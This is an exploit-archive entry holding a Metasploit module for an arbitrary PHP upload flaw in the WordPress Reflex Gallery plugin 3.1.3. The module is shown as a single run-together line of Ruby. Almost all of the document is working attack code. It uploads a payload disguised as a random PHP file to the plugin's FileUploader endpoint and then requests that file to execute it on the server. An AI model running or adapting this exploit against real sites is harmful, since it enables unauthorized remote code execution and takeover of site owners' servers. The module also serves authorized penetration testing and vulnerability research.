WordPress Reflex Gallery Upload

2015.04.20
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-264

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::HTTP::Wordpress include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Wordpress Reflex Gallery Upload Vulnerability', 'Description' => %q{ This module exploits an arbitrary PHP code upload in the WordPress Reflex Gallery version 3.1.3. The vulnerability allows for arbitrary file upload and remote code execution. }, 'Author' => [ 'Unknown', # Vulnerability discovery 'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['EDB', '36374'], ['OSVDB', '88853'], ['WPVDB', '7867'] ], 'Privileged' => false, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['Reflex Gallery 3.1.3', {}]], 'DisclosureDate' => 'Dec 30 2012', # OSVDB? EDB? WPVDB? Cannot set the date. 'DefaultTarget' => 0) ) end def check check_plugin_version_from_readme('reflex-gallery', '3.1.4') end def exploit php_pagename = rand_text_alpha(8 + rand(8)) + '.php' data = Rex::MIME::Message.new data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"qqfile\"; filename=\"#{php_pagename}\"") post_data = data.to_s time = Time.new year = time.year.to_s month = "%02d" % time.month res = send_request_cgi({ 'uri' => normalize_uri(wordpress_url_plugins, 'reflex-gallery', 'admin', 'scripts', 'FileUploader', 'php.php'), 'method' => 'POST', 'vars_get' => { 'Year' => "#{year}", 'Month' => "#{month}" }, 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data }) if res if res.code == 200 && res.body =~ /success|#{php_pagename}/ print_good("#{peer} - Our payload is at: #{php_pagename}. Calling payload...") register_files_for_cleanup(php_pagename) else fail_with(Failure::Unknown, "#{peer} - Unable to deploy payload, server returned #{res.code}") end else fail_with(Failure::Unknown, 'Server did not respond in an expected way') end print_status("#{peer} - Calling payload...") send_request_cgi( 'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', "#{year}", "#{month}", php_pagename) ) end end


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